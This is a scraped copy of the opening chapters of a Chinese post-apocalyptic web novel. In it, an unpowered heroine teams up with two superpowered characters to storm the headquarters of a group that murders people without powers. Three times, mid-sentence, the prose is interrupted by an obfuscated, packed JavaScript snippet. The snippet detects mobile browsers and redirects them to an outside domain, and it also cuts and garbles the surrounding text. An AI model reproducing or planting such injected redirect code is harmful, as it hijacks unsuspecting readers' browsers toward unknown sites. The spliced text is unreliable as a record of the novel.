《普通人,但封神[末世]》 1. 无异能者的噩梦集团01 粘腻的雨水终于停了下来,滴滴答答的余水自屋顶上方滑落,溅起一片涟漪。 天空还是灰蒙蒙的,街道上空无一人,像是暴风雨前的安静。 不知何处传来了刺耳的广播声。 “……纪3045……已经过去了八年……感染者逐步增多……意安全……” “砰”。 滋滋啦啦的广播声戛然而止,碎边散落在地上。 伏苓从拐角处走了出来。 她脸颊染上了不知是谁的鲜血,漂亮的眼睛微微弯着,眼底却丝毫不带情绪。 雨后的风阴冷而清凉,垂落在她后背的长发被冷风吹气,红绿相间的挑染发尾随着风飘扬。 她似乎心情不错,指尖勾着能量枪随意转了几圈,轻轻吹出一口气,将枪口上袅袅冒出的轻烟吹散。 “今年是天纪3045年,距离雨灾已经过去了八年。在这八年里,感染者逐步增多,请广大异能者、无能力者注意安全,居家隔离,避免外出,等待支援。” 这是广播里本该播出的内容。 但这句支援,临安城的百姓已经等了八年。 天纪3037年,下了整整三个月的雨,洪涝灾害频发。与此同时,被雨水接触到的人突然失去理智,猛地扑咬周围人,被咬到的人也很快失去理智,加入了撕咬的队伍。 霎时间,全国上下死伤无数。警报彻夜鸣着,广播整日整日地播报,警告全国人民居家隔离,不要外出。 但为了活下去,很多人选择出门觅食,可在雨水和感染者的双重攻击下,安全回去的人寥寥无几。 这样的开头,本该是死局。 但很快,全国出现了第一个异能者,然后陆陆续续地,很多人都获得了或强或弱的异能。 在这样的乱世,即使是一个比较弱的异能也能让人勉强活下去,而没有任何增强的无能力者则是被早早判了死刑。 伏苓,就是他们口中最弱的无能力者。 四周传来细微的声响,伏苓手腕轻轻转动,红色的软剑从她身后缓缓流淌出来,垂落在泥泞的地面上。 异能于她而言,跟自己手里的武器是一样的存在,都只是一个工具。可那些所谓的异能者却觉得自己觉醒了异能就高人一等,实在可笑。 方才射击的回声依旧震耳欲聋,周围的细微声响缓缓变大,汇聚成了骇人的嘶吼声,以极快的速度朝着伏苓所在的方向靠近。 伏苓笑了一声,嘴角勾起的弧度兴奋而血腥。 既然他们这么看不起无能力者,那就让他们看看,一个无能力者能把他们逼到什么程度吧。 感染者要来了! 下一瞬,无数四肢并用的人张开嘴从四面八方扑向伏苓,被雨水泡肿的身体如同一座座高峰挡住了奄奄一息的阳光。 诡异的红痕像一条条符咒印在他们的脸上,异常骇人。 伏苓不慌不忙,血红色的剑刃随着她的动作轻轻颤抖,那剑身柔软锋利,碎光令人胆寒。 在感染者全部进入她攻击范围的那一瞬,她脚下用力,腰肢一转,轻巧地腾空跃起,软剑如同鬼魅一般缠住了所有人的脖子。 猛地使力。 骨头断裂的声音从四面八方传来,伴随着肉/体撞击在地面上的闷响。 一击必杀。 伏苓落回地上,甩下软剑上的血迹,看向了最后一只漏网之鱼。 那感染者仿佛没看见伏苓极强的战斗力,嘶吼着四脚齐用朝她扑来。 伏苓侧身避开,指尖扣动扳机。 砰。 能量波穿透头骨,撞击上后面的残墙,本就摇摇欲坠的墙壁顿时炸成一片,零零散散地落在地面。 周围再次陷入的寂静。 伏苓顿了顿,毫不在意地抬脚朝着前方走去,脚步甚至带上了些许轻快。 她抬头,目光落在道路的尽头那栋巍峨的建筑上。 临安城在最初的惊慌后,迅速成立了一个集结异能者的组织——这便是眼前的那栋高楼,前瞻集团。 这本是一件百利而无一害的事情,但众人没想到的是,那些异能者集结起来不过数月,初心就已经变了。 对于异能者来说,他们不想将口粮分给一群没有作战能力的人,也不愿意牺牲自己保护他们,所以他们选择了一个极端的方式。 ——在抵抗感染者的同时,捕杀他们遇到的所有无能力者。 伏苓身边很多无能力者,都无辜葬身于这些人的异能下。 于是,无能力者与异能者形成对抗,前瞻集团为异能者之首,伏苓为无能力者之首。 但即便是伏苓,也没办法对上整个集团,只能逐个击破。 她的计划持续了很长一段日子,陆陆续续地处理掉了前瞻集团高层的一些强者。 此时,集团的五个创始人中,只剩下一个异能为冰系的王瞻,和另一个暂时没摸清的异能者。 虽然还有变数,但无伤大雅。 伏苓勾了勾唇,手指对准前瞻集团最高层的牌面,声音轻轻。 “砰。”她笑了。 今天,就是前瞻集团的死期。 - 与外界惨淡的情况不同,前瞻集团内部满目奢华。 28层的巨大办公室里,一个男人坐在办公椅上,这位便是前瞻集团的创始人之一——王瞻。 一旁站着的男人手上捧着显示屏,将监控上的女子展示给王瞻看:“有一个女人进了集团范围,是个无能力者,我们是不是需要派人去处理一下?” 王瞻慢悠悠地喝了口茶,目不斜视:“一个无能力者而已,不必管她。” - 集团大门外苍凉一片,附近的断墙残垣七横八竖地散落在硝烟中。 伏苓正走着,却不知看见了什么,脚步一顿。 本该整洁辉宏的集团大厅内满是血迹和尸体,感染者、异能者的尸体交替着。黑色的乌鸦嘶鸣着飞过来,停在尸体身侧。鲜血在光洁的地板上肆意蔓延,勾勒出如同地狱的画卷。 临安城内最后的威严象征,在此时竟然成为了死亡的深渊。 伏苓随意地转着能量枪,上前两步,垂眸看向距离自己最近的尸体。 这人脸上全是鲜血,但却没有异化成感染者的迹象。 她挑了挑眉,眸色中带上了些许嘲讽和冷意。 活人被感染者杀死都会被传染,从而变成感染者。 她原以为是集团被感染者入侵,如今看来,似乎情况要更复杂一些——有不少人趁乱对同伴痛下杀手了。 她还真是没看错这些道貌岸然的人。 伏苓勾起唇角,正准备进入集团看看什么情况,抬眼却忽的对上了一个人的视线。 集团大门处不知何时出现了一个男人。 他身形颀长,穿着黑色的冲锋衣,宽松的裤腿被紧紧缠住,塞进脚下的黑靴中,黑发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926281|160523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微微卷起,一双漆黑如墨的眼睛格外漂亮。 伏苓的目光缓缓移到了他胸前独属于前瞻集团的徽章上。 她眯了眯眼,杀意闪现。 还没来得及说话,对面的男人已经漠然抬起手臂。 红色的雾气从他四周蔓延出来,顺着手臂凝聚成形。他意识到伏苓只是一个无能力者,攻击软绵而随意,仿佛只需要轻轻一击,伏苓就会死在他的异能下。 他声音清冽,但又略显低沉:“这里不是你该来的地方。” 铺天盖地的红雾如雪崩般涌上天际,几乎快要将伏苓掩埋。 好像是被人小瞧了啊。 伏苓歪歪头,眉梢高高挑起。 她的眼珠越过雾气,钉死在高高在上的男人身上,轻飘飘的语气似是羽毛刮过,却留下血痕:“好厉害的异能者。可惜,你也只能止步于此了。” 说完,她也不等对面回答,软剑以如蛟龙游走,以雷霆之势攻上敌方命门。 意识到对面攻击迅猛,程承的神经瞬间紧绷。他反应迅速,就地一滚避开了攻击,目光再次落在伏苓身上。 她穿着格格不入的红黑色冲锋衣,发尾的挑染耀眼。 在周围一片黑白灰的环境里,却穿着如此醒目的衣装,要么是傻子,要么是极其自信的人。 以程承的第一印象来看,面前的少女多半是后者。 但即便如此,这女孩也只是个无能力者,不成气候。 他正欲动作,却没想到那把软剑的进攻路线诡谲多变,剑刃以一个诡异的角度再次撞向他的胸口。 程承瞳孔骤缩,红雾聚集在他心口,勉强挡下了这道几乎致命的攻击。 他被巨大的力道逼得后退几步,再抬头时,看向伏苓的目光已经带上了深深的忌惮。 不对,这不是普通的无能力者! 红雾横在两人中间形成屏障,勉强隔绝了对面疯狂的攻击。 可是,一个无能力者,单靠自身实力,居然能做到这个地步吗? 还没等他想出个所以然来,下一秒,红雾与那把软剑相撞的地方崩裂出一道裂缝。 程承眼睛缓缓睁大。 这怎么可能?! 几乎是在毫秒之间,眼前红雾骤然破碎,红色软剑破开红雾,气势逼人地闪现至他眼前。 程承的瞳孔微颤。 他意识到无法硬抗,毫不犹豫地再次翻滚避开。 可下一瞬,冰冷的枪口抵上了他的太阳穴。 心脏像是被一只手攥住,猛地收紧。 他冷汗直流,根本不知道这人是什么时候出现在自己身边的。 伏苓比他稍矮一些,她踮起脚尖,笑得残忍:“小卷毛,来世再见咯。” 说完,她还模仿枪声,先行说了一句“砰”。 看着面前之人姣好的面容上露出堪称兴奋的表情,程承立马意识到这人是真的想杀他。 可是他们无冤无仇,这人跟自己根本没见过面,为什么会在第一面就对自己痛下杀手? 他喉结滚动,汗水从额间落下,滴在银色的能量枪上,溅起一片涟漪。 在那滴水光中,他忽地扫见了自己胸前的前瞻集团徽章。 他猛地意识到了什么:“我也是来找前瞻集团报仇的!” “哦?”伏苓动作一顿,目光带上了些许审视,枪口顺着程承的脸颊滑落到他的下巴,轻佻地勾起:“你最好没有在骗我。” 2. 无异能者的噩梦集团02 赌对了。 程承闭了闭眼,遏制住心脏的疯狂跳动和身体各处细胞发出的颤抖,尽量冷静道:“你看集团内的感染者,都是我引进去的。” “原来是你干的啊。”她退后了两步,笑得漂亮极了,“好吧好吧,那你告诉我,你为什么要杀集团的人?” 程承与她目光对视,声音清冷:“他们杀了我的家人。” 他将伏苓一直看着的徽章扯下来,扔在满是雨水的地上:“他们将我困在这里八年,今天是我预谋已久的报复。” 是吗。 伏苓看着他的双目,似乎是在确定这个人说话的真实性。 程承冷静地与她对视,像是无声的对抗。 两人靠得很近,伏苓甚至看清了程承根根分明的睫毛。 她眯了眯眼。 这个人的异能很是特殊,实力也超乎她的想象。若是放任他离开,恐怕会成为一个较大的变数。 所以,不能让这人脱离自己的视线。 她低头,掩下眼底的情绪,闷笑道:“好啦,别这么严肃,我当然相信你啦。” - 一楼大厅里满是感染者和异能者的尸体,地面都沾着血迹,根本没有地方下脚,整个大厅如同凶案现场。 程承瞥了一眼伏苓,却见她看到这样的场景不仅不害怕,甚至笑意更深。 “你做得也太棒了吧。”伏苓像是欣赏一幅画一样来回扫视,笑嘻嘻道:“真想好好地奖励你。” 程承木着一张脸,还没回答,两人右边就传来了一声细微的呻吟。 伏苓颇有兴趣地将视线转了过去。 角落躺着一位奄奄一息的异能者,他满身鲜血,明显是强弩之末,但看到两人进入却还是强撑着用尽仅剩的力气呼救:“救……咳……” 伏苓看到那人的脸微微一愣。 熟人啊。 这人在过去的八年里是前瞻集团很忠诚的一条狗,自然也一脉相承地跟前瞻集团有着一样的形式作风,根本不把实力较弱的无能力者当成人对待,烧杀抢掠无恶不作。是伏苓猎杀名单里的除了集团创始人之外的榜首。 不过这人跟老鼠一样四处钻,还在前两天偷偷在伏苓歇脚的地方放火试图烧死她。 伏苓笑弯了眼,她像是找到了寻觅已久的猎物,绕过路上的尸体,施施然走到那人面前。 血液从那异能者的额头流下染湿了他的眼睫,他垂着眸子,看到了一双干净整洁的黑靴停在自己面前,有些惊喜地抬头:“求您、求您救……” 他看清了伏苓的脸,目光霎时间从欣喜转为恐惧。瞳孔猛地一缩。 他不受控地尖叫一声,艰难地向后退去:“伏苓?!你、你居然还没死?” “是呀,你也没想到,那般冲天大火也没能杀死我吧?”伏苓掏出那把泛着冷光的能量枪,对准了那人的脑袋:“而且,今天我还得要了你的命哦。” 那人不断挣扎,求助般地看向伏苓身后的程承。 看我干嘛…… 程承默默移开视线,避免了对视。 这人顿时绝望,哆哆嗦嗦地跟伏苓打商量:“你不能杀我,我不过是杀了几个没有任何用处的无能力者,对临安的安全根本没有任何影响,但你如果杀了我,守护临安的力量就会少一分!” “天呐,你居然这么厉害。”伏苓嘴角划过一丝嘲讽,她惊讶地捂住嘴,思考:“那为什么这么厉害的你,现在会躺在这里?是因为太强了吗?” 异能者脸色苍白,却被这句阴阳怪气气得直喘粗气。 伏苓玩够了。 她站起身,缓缓举起能量枪,冷着脸睥睨着他:“看上去你还有一口气,那我就不得不补个刀了。” 说完,她不给这人说话的机会,干脆利落地一枪射出。 失去呼吸的身体缓缓倒在血泊中。 她心情愉悦地将枪收起来,转过身看向程承,笑意满满:“走吧走吧,别在这里浪费时间了——” 扑通。 身体落地的声音。 伏苓眉梢高高挑起。 又来一个? 她转身看去,只见一道身影连滚带爬地向内部跑去,一边跑还一边乱扔着纸牌。落下时,那人原本站着的地方顿时多了一层透明的东西。 伏苓不太清楚那是什么,但却知道这是异能。 这是什么异能?似乎是跟这人扔的纸牌有关。 伏苓眼里浮现了些许兴趣,她看了一眼程承:“你……啊,你叫什么名字来着?” 程承抿了抿唇,刚刚那个逃离的人影明显是之前他放过的那人。 ——早在一个小时之前。 集团一楼的宴会厅。 高高的天花板上悬挂着水晶吊灯,巨大的挂毯装饰着墙壁,满目奢华。宴会厅内的音乐婉转动听,舞池上的舞者在舞曲的节奏中翩翩起舞。 参加宴会者个个衣裳整洁,好不威风。 程承低着眸站在角落,显得格外孤僻。 忽地,他的面前停下了一个人。 程承抬起头。 眼前之人看上去还是少年人,长相稚嫩,笑起来眉眼弯弯,她将一杯干净的酒递给程承:“来玩个游戏吗?” 程承扫了她一眼,露出了细碎额发下那双漂亮的眼睛。他微微直起身,目光玩味:“好啊。” 祝无忧将手中的牌在桌上摊开:“抽一张吧。” 摊在桌面上的卡牌质感很好,通体漆黑,背面上点缀着大大小小的金色星星。 程承指尖划过卡牌,随手挑了一张递给她。 祝无忧笑容更深,接过卡牌,看向卡牌上的内容:“你抽中了……” 看到卡面上的文字,她一顿,脸色微僵。 ——上面写着“命运共鸣*1”。 祝无忧咬了咬牙。 察觉到面前这人情绪的急剧转变,程承挑眉:“怎么了?” 祝无忧闭着眼睛深呼吸两下,抬头保持微笑,掏出一瓶颜色奇异的药水递给他:“你的奖励。” 程承更意外了:“白送?” 祝无忧的表情从漫不经心,到礼貌微笑,再到咬牙切齿仅仅花了两秒:“对,就是白送!” 她破罐子破摔地说:“这瓶药水喝下后会将自己的幸运值逐渐转移给最亲近的人,只不过你会怎么样就不一定了。” 说完,她又有点幸灾乐祸:“看你怎么用吧。” 程承将药水举到眼前,天花板上耀眼的光透过药水,在他脸上洒下一片彩色。他细细观察了片刻,才道:“我凭什么相信你?” 突然凑过来白送给自己一个这么强劲的药水,怎么想都不对劲。 祝无忧默默吐出后槽牙,恨恨地开始收手牌:“命运的指引,我还不愿意给你呢。” 程承挑了挑眉,意识到这人不似作假,便将药水收了起来。 正当祝无忧准备离开的时候,她突然瞥到程承手臂上突出了一个巨大的鼓包。 那鼓包似是活的一般在四处乱窜,将程承手臂上的皮肤高高隆起。 像是有什么巨型寄生虫躲在人体皮肤底下随意游走冲撞。 祝无忧吓得尖叫一声,指着那鼓包喊道:“卧槽,这是什么?” 一时间,宴客厅内或关心或烦躁的目光都看向这边。 祝无忧声音惊恐,指着他手臂的指尖微微颤抖。她试图找出一个合理的解释:“你… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926282|160523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …是生病了吗?” 她急忙看向人群:“有医生吗?” 临安的感染者还有不少,少一个异能者,其他人的危险就会多出一分。 很快站出来了一个异能是疗愈的人,他快步走上来,抓住程承的手臂查看情况。 程承顺从地捋起袖子任他查看。 那鼓包飞速移动,医生尝试了半天也没能碰到它。但他很有责任心,虽然看不出病因,也还是皱着眉头念念有词:“不知道是什么,但我可以将它困在一处,然后切掉。” 他手中泛出点点星光,从四周堵住跳动挣扎的鼓包。 控制好后,他抽出一把奇异的刀,刀尖停在距离鼓包底部的一寸之处。 “不用白费力气了。”程承突然出声。 医生手一抖,刀口险些划上皮肤。祝无忧也同样惊诧地看着他,不知这人是什么意思。 程承勾唇,眸色晦暗不明:“因为这是我的异能。” 话音未落,突然一声巨响,宴会厅的门就被轰然推倒在地。 众人下意识转头看去,只见一群面目狰狞的感染者如潮水般涌入,嘶吼着向在场众人冲过来。 原本井然有序的场面瞬间陷入混乱,在场众人下意识用异能反抗,四处逃窜。酒杯和餐盘被碰倒,洒了一地粘腻。 尖叫、求助、拨号的声音不绝于耳。 程承和那位医生似乎是都被吓到了,傻愣愣地看向门口混乱的人群没有任何动作。 “愣着干什么?这么多感染者哪里打得过来?”祝无忧一手拽住一个人,拉起来就往后面跑,在这期间,还能顺手抽出战备机找人支援:“喂喂喂!集团被感染者进攻了哇啊啊啊!” 程承任由她拉着自己进了走廊,唇角的弧度上扬了几分,混乱中,他的声音格外阴森:“可是,这些感染者都是我放进来的啊。” 一瞬间,只有他们三人的走廊里安静得落针可闻,感染者疯狂的嘶吼声隔着墙壁传来。 祝无忧僵着身子,一点一点地转向他,目光惊恐:“你、你为什么……” 程承笑得开心,嘴角的梨涡一隐一现,说出来的话却像一把锋利的刀刃:“当然是想你们集团的所有人都死啊。” 听到这话,那医生腿一软跌坐在地,连滚带爬地往前面逃去,嘴里喃喃着:“疯子,疯子……” 程承手臂上的鼓包突然消失,暗红的光芒包裹着他的身体,宛若一个红色的怪物附身于他身上。他的眼眸变得通红,声音嘶哑癫狂:“你们都该死!” 祝无忧瞳孔睁大,不受控地向后退了两步。 那嘶哑疯狂的声音,就像是一只……一只没有理智的、会说话的兔子。 程承看到她瞳孔中的自己倒影,弯唇笑了一下,露出了他嘴角的梨涡。 祝无忧抖得更厉害了。 出乎意料的是,程承并没有对她下手,反而退后了一步,目光若有所思地落在她身上:“不过,饶你一命。” 说完,他也不管祝无忧的反应,直接转身离开。 没想到他居然会在临门一脚时放过她,祝无忧仿若从鬼门关里转了一圈。她吞了吞口水,飞快压下心脏的狂跳,朝着相反的方向逃去。 …… 程承回过神,看伏苓的样子,多半是要去追杀祝无忧。 他在心中叹了口气,还是回答道:“程承。” “对,程承。”伏苓指尖轻飘飘地指向逃走的那个人,笑嘻嘻道:“抓住她。” 程承为祝无忧默哀两秒,抬起手臂,数不清的红雾乍然撞向那层透明屏障。 用来堵路的屏障顿时碎裂开来,消散在半空中。 他长腿一迈,追着那人的身影离开。 3. 无异能者的噩梦集团03 祝无忧没想到,自己好不容易逃过了无处不在的感染者,历尽千辛万苦就快要离开这座集团大楼时,居然又看到了那个可怕的男人。 ——那个一切的始作俑者。 她虽然算不上聪明,也知道那人先前放过自己是因为自己先对他释放了善意,而再次遇见,她根本不知道这人到底会不会再一次放过她。 祝无忧止不住地发颤,她不敢冒险,只能拼尽全力离得远远的。 集团占地面积很大,每一处岔口都弯弯绕绕,祝无忧没怎么在这里逗留过,根本不清楚一楼的布局。 她慌不择路,转弯直接跟了一个感染者来了个贴脸杀。 看到活人,感染者顿时兴奋了起来,吼叫着猛地朝着她扑过来。 祝无忧尖叫一声,一股脑扔了十几张牌过去:“卧槽卧槽!” 星牌生效的声音劈里啪啦地响起。 那感染者一会速度变慢,一会呆滞片刻,一会左脚绊右脚摔了个狗啃屎,甚至还突然朝着反方向跑去,就是没碰到祝无忧一分一毫。 祝无忧松了口气,想换一条路离开,却没想到直接撞上了程承。 她“卧槽”一声,转身就跑。 红雾倾泄,只一瞬就困住了她的脚步。 祝无忧跌倒在地,周围笼罩着她的红雾看似平静,却有着厚重的压迫感。 她将自己缩成一团,哀怨地看着程承:“臭男人,臭男人!!亏我之前还关心你!” 她这两句声音小,程承没听清,他没想伤害她,用红雾困住她之后便也没再动作。 伏苓抱着臂靠在墙上。 这个叫程承的,做事沉稳利落,如果他先前所说为真,能蛰伏在集团内部这么长时间还不被发现,这人的心思恐怕也极度深沉。 而且…… 她勾了勾唇角。 这人的异能,似乎有些特殊。 伏苓直起身,缓缓走了过去。 至于这个小姑娘。 异能有点意思,看上去还是个少年人,眸子澄澈,多半没做过什么伤天害理的事情。 她虽不是圣母,却也不会伤害无辜之人,最好这个小姑娘能跟程承一起乖乖跟着自己,不要妨碍她接下来的行动,倒是也能算个助力。 她还未开口,却没想瘫在地上的祝无忧看到她突然眼前一亮,她跳了起来,涕泪横流声嘶力竭地扑向她:“姐姐救命啊!” 伏苓愣了一瞬,看向她的目光更加玩味。 小姑娘还没看清楚形势,真是傻得可爱。 眼见祝无忧就快要扑到伏苓身上,程承幽幽插嘴:“她跟我一伙的。” 祝无忧顿在原地,想要抱住伏苓大腿的手要伸不伸,僵硬地举在半空。空气凝固了两秒,只听见“啪”得一声,她的两只手一下子拍上了自己的脸。 祝无忧呜呜两声。 她没想到自己今天运气这么背,连着两次都信错了人。都怪预言牌骗人,还说什么今天是大吉,她看分明是要大寄。 迷信这种东西果然还是靠不住……欸等等,异能应该算是科学吧? 但眼下这已经不是最重要的了,祝无忧脑内疯狂运转,思考着怎么从这两人手里活下去。 打肯定是打不过的,她一个辅助系的异能者,哪能跟这两个杀人不眨眼的大佬正面对上?所以只能牺牲尊严了! 伏苓看跪倒在自己面前的小姑娘捂着脸半天没说话,便准备开口:“你……” “我可以加入你们!”祝无忧突然抬头,眼里满是破釜沉舟的坚定和悲泣:“我也要跟你们一伙。” 程承:“……?” 他一脸复杂地看着跪在地上举手发誓的女孩。 我是被武力镇压的,你怎么还主动起来了?稍微反抗一下啊! 但伏苓显然心情不错,闻言勾着唇角:“哦?那你说说,你有什么用啊?” 这人异能特殊,虽然伏苓大概知晓了异能的呈现情况,但还是有些好奇。 祝无忧吞了吞口水。 她的异能没什么攻击性,都是一些乱七八糟的辅助功能,甚至被很多人认为是最低等的异能。 但是,就算她再害怕眼前的少女嫌弃自己,眼下也没其他办法了。她破罐子破摔:“我的异能是星牌,随便抽卡的那种。具体能干什么……” 祝无忧不太好形容自己的异能,它太抽象了。 正当她思索着到底该如何解释自己异能的时候,伏苓动了。 她让开了一点,露出了背后龇牙咧嘴站起来的感染者。她依旧是那副笑嘻嘻的样子,如同开玩笑一般道:“那你展示一下吧,杀了他。” 感染者露出獠牙,红痕似血,隐隐泛着光。 不知道是不是被伏苓吓到了,这感染者居然没有攻击距离他最近的伏苓,而是乖乖顺着伏苓的意思扑向祝无忧。 祝无忧吓得后退两步,小腿直打颤。 她真的杀不了感染者啊! 祝无忧可怜兮兮地看向伏苓,试图让她心软,却没想这女人的心比刚刚摔上的地板还硬,收到她的求救信号还笑眯眯地歪了歪头鼓励她继续。 祝无忧悲痛转头,看向已经扑上来的感染者,视死如归地抽出了一张攻击牌,看也不看地扔向了感染者。 下一秒,硬币掉落在地的声音哗啦啦地响起来。 叮叮当当,格外清脆。 伏苓挑眉,有些意外地看着从天而降的硬币山,和那个被砸得起不来的感染者。 她俯身,捡起来那张掉落在地的纸牌。 上面清清楚楚写着: 增益*撒钱。 非常之简单粗暴。 伏苓嘴角的笑意遮都遮不住。 这异能可太有意思了! 她反手扔掉那张失效的卡牌,向祝无忧伸出手:“好,现在你就是我的人了。” 祝无忧一脸惊喜,她傻笑着将手放在伏苓手心,借着她的力道爬了起来。 既然自己都倒戈进人家队伍里了,祝无忧立马将胸前的前瞻徽章拽下来扔掉,然后讪讪解释:“额,我这个异能是随机的,不知道下一张是什么牌。” 伏苓已经抬脚向一旁的电梯走去,程承立马明白了她的意思,抬手摁下电梯。伏苓摸摸下巴:“随机?” 趁着电梯缓慢下行,祝无忧殷勤地跟伏苓解释了自己的异能。 星牌分为六套牌组,分别为:增益,负面,预知,洞悉,全场,以及未知。 她一脸骄傲:“我给他们起名为,真心话大冒险!” 程承嘴角抽了抽。 伏苓捧场地鼓掌:“好名字啊。” 闻言,祝无忧更激动了。 这还是第一次有人认可她的取名能力。 她晃晃脑袋,解释自己取名的初衷:“你看,增益和负面是大冒险,预知和洞悉是真心话,这不就是真心话大冒险吗?” 伏苓点点头,一脸赞同:“好有道理啊。” 见这两人皆是满脸沉醉,程承忍了忍,还是发问道:“别的我能理解,全场和洞悉是什么意思?” 祝无忧看了他一眼,语气平平:“全场就是不分敌我,所有人都被动承受牌面效果,洞悉是指定一人察看其当前心理活动。” 她这两句说得飞快,也没什么情绪,与方才跟伏苓交谈的激动神色形成鲜明对比。 双标怪啊。 但程承却没在意这些。因为他意识到这人的异能绝对是顶尖的。 先不说增益牌和负面牌,单单那套拥有预言能力的牌组就已经能做到很多事情了。可能是为了限制她的实力,所以才刻意将抽取顺序设定成了随机。 但即便如此,也无法掩盖这套牌组的强大。 只不过她的异能基本都是辅助,所以杀伤力不大,又没有遇到过好的进攻手,这些年前瞻集团出具的顶级异能者名单里才没有她。 伏苓转动眼珠,她指着程承,眼中划过一丝狡黠:“那你看看他现在在想什么。” 祝无忧与她一拍即合,手速飞快,程承还没来得及收回思绪,那张星牌上已经显露出了字迹。 伏苓好奇地凑上去,看到上面明明白白写着:这异能厉害。 “哇哦!”祝无忧怪叫一声,一脸惊喜地抬头,“原来我在你心中这么厉害?” 程承闭了闭眼。 被人洞悉内心的感觉算不上是什么好的体验,他只祈求下次别对着自己用了。 正巧电梯“叮”了一声。 三人顿时看向缓缓打开的电梯,祝无忧跳着躲在了伏苓身后,一脸警惕地小声说:“不会有感染者吧?” 话音刚落,一只青黑的手猛地从打开的电梯缝里伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926283|160523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,因为速度过快,小拇指撞上电梯门,直直被扳到手背上。腐烂的气息顺着风吹到祝无忧脸上。 祝无忧顿时龇牙咧嘴,自己的小拇指仿佛也开始隐隐作痛。 电梯门还未完全打开,里面感染者紧紧贴着缝隙,争先恐后地挤出来,张着血盆大口朝他们扑来。 距离很近,近到祝无忧甚至已经看到了它猩红的口腔中残存的血迹。 伏苓推开祝无忧,身形轻轻侧开,躲过了感染者的扑咬,软剑如闪电划破虚空,准确地隔断他们的脖颈,血液喷溅而出。 她甩干净剑上血迹,目光轻飘飘地落在程承身上:“看清楚了?” 程承有些尴尬地摸摸鼻尖。 他虽然与她交过手,但伏苓速度太快,以至于他根本没有看清伏苓进攻的具体动作。 从电梯打开到伏苓干脆利落地解决这群感染者有足足数秒,这个时间早就够程承发动红雾了。但他没有,而是站在一旁紧密观察着伏苓的动作。 只是没想到,这么点小心思居然被伏苓当场识破。 祝无忧还在局外,她嘴巴张得圆圆的,目瞪口呆地看着伏苓:“这么牛逼吗?” 她突然觉得自己抱的大腿真的好粗。 伏苓没管他们俩,直接抬脚进了电梯。 她歪歪脑袋思考了几瞬,看向程承:“王瞻在几层?” 王瞻是前瞻集团的创始人,也是集结异能者运动的发起者之一。 正是在此人的带领下,无数异能者被迫与家人朋友分离,无能力者惨遭压迫,甚至会以无能力者无法保护家园为由遭受前瞻集团的残杀。 听到这个名字,程承眼中短暂闪过恨意。但他很快掩盖住,跟着伏苓进入电梯,他声音听不出什么情绪:“28层。” 等祝无忧进来,伏苓伸手将“28”点亮。 电梯上行。 轿厢内一时之间安静了下来,祝无忧满满挪到伏苓身边,紧紧抱住她,仰着头,眼睛亮晶晶的:“姐姐你太强了!那么多感染者你刷刷刷就把他们都干掉了诶!要是我来还不知道要周旋多长时间,不过也是我本来就菜啦哈哈哈” 她满脸兴奋,又突然冷静了一瞬:“对了,我还不知道你的名字。” 伏苓漫不经心:“伏苓。” 程承扫了她一眼,少女醒目而张扬的挑染发尾甩至胸前,夺目的色彩顺着她的动作晃晃悠悠,看久了像是置身船上,晕晕乎乎。 他不自觉失神一瞬。 原来她叫伏苓。 他暗暗记下。又不自主去想,哪个伏?哪个苓? 祝无忧又抱紧她:“伏苓姐,你实在是太牛逼了。” 若是一个异能者强一些倒也不至于让她佩服得五体投地,但伏苓是无能力者啊!也就是说,她是单凭自己的身体素质强过了大多数异能者。 她激动了片刻,又好奇道:“欸?还有姓伏的吗?” 伏苓漫不经心:“有啊,我曾曾祖父是伏完,曾曾曾曾祖父是伏羲。” 见祝无忧眼前一亮又一亮,伏苓笑了:“骗你的,小傻子。” 祝无忧也不恼,黏上来说:“我叫祝无忧。” 说完,她又看向程承,后者明白她的意思,报了自己的名字。 电梯速度很快,28层很快到了。 原本整洁有序的办公楼被破坏得面目全非,一道道触目惊心的血迹在墙壁上纵横交错,有些地方的血迹还在缓缓向下流淌,汇聚成暗红色的小洼。桌椅东倒西歪,散落在地上,四周弥漫着刺鼻的血腥和腐烂的气息。 虽然同样一片狼藉,但比一楼的惨状要好上不少。想来能上到这一层的感染者属实不多。不远处还能听到他们的嘶吼声,似乎是在追逐着还活着的人。 伏苓没心思去救他们,前瞻集团的人大多手染鲜血,甚至相比于感染者,这些鲜血中更多是无能力者的。 原先一片赤诚进入集团的勇士,终究还是为了权力将刀尖对准了他们本该守护的人。 伏苓的目光落在前方办公室紧紧闭着的大门上,突然看向程承:“你说感染者是你引来的,怎么引的?” 程承没想隐瞒,直接道:“我的异能。” 那堆红雾? 伏苓挑眉,指向那扇紧紧闭着的门,发布指令:“那么,让感染者去攻击这扇门。” 4. 无异能者的噩梦集团04 